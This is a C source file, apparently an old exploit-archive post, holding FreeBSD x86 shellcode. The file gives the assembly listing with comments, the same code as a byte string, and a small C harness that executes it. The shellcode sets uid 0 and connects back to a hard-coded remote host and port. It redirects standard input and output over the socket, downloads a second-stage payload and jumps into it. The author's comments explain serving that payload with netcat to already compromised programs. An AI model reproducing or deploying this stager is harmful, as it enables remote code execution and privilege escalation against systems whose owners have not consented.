102 lines
No EOL
2.1 KiB
C
102 lines
No EOL
2.1 KiB
C
/*
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; sm4x - 2008
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; reverse connect dl(shellcode) and execute, exit
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; - i've used this to feed pwnd progs huge messy shellcode ret'ing the results over nc ;)
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; - feed it with a $nc -vvl -p8000 <shellcode_in_file
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; setuid(0); socket(); connect(); dups(); recv(); jmp; exit();
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; 90 bytes (NULL free dep on remote address)
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; FreeBSD 7.0-RELEASE
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global _start
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_start:
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xor eax, eax
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; --- setuid(0)
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push eax
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push eax
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mov al, 0x17
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push eax
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int 0x80
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; --- socket()
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push eax
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push byte 0x01
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push byte 0x02
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mov al, 0x61
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push eax
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int 0x80
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mov edx, eax
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; --- sockaddr_in setup
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push 0x90011ac ; host 172.17.0.9 (.0. is a NULL)
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push 0x401f02AA ; port 8000
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mov eax, esp
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; --- setup connect(edx, eax, 0x10);
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push byte 0x10
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push eax
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push edx
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xor eax, eax
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mov al, 0x62
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push eax
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int 0x80
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jne done
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; --- dup2(0+1+2) - remove if you dont want results sent over the wire
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mov cl, 0x03
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xor ebx, ebx
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dups:
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push ebx
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push edx
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mov al, 0x5a
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push eax
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int 0x80
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inc ebx
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loop dups
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; --- recv(fd, *buf, 1028);
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xor eax, eax
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push word 0x0404 ; conf read size here
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lea ecx, [esp-0x0404] ; and here
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push ecx
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push edx
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mov al, 0x03
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push eax
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int 0x80
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; --- jmp to recv shellcode
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jmp ecx ; run shellcode
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done:
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; --- exit (optional -> pls exit from jmp shellcode)
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xor eax, eax
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inc eax
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push eax
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push eax
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int 0x80
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*/
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#include <stdio.h>
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#include <sys/socket.h>
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#include <netinet/in.h>
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char code[] = "\x31\xc0\x50\x50\xb0\x17\x50\xcd\x80\x50"
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"\x6a\x01\x6a\x02\xb0\x61\x50\xcd\x80\x89"
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"\xc2\x68\xac\x11\x00\x09\x68\xaa\x02\x1f"
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"\x40\x89\xe0\x6a\x10\x50\x52\x31\xc0\xb0"
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"\x62\x50\xcd\x80\x75\x24\xb1\x03\x31\xdb"
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"\x53\x52\xb0\x5a\x50\xcd\x80\x43\xe2\xf6"
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"\x31\xc0\x66\x68\x04\x04\x8d\x8c\x24\xfc"
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"\xfb\xff\xff\x51\x52\xb0\x03\x50\xcd\x80"
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"\xff\xe1\x31\xc0\x40\x50\x50\xcd\x80";
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int main(int argc, char **argv) {
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int (*func)();
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printf("Bytes: %d\n", sizeof(code));
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func = (int (*)()) code;
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(int)(*func)();
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}
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// milw0rm.com [2008-09-05]
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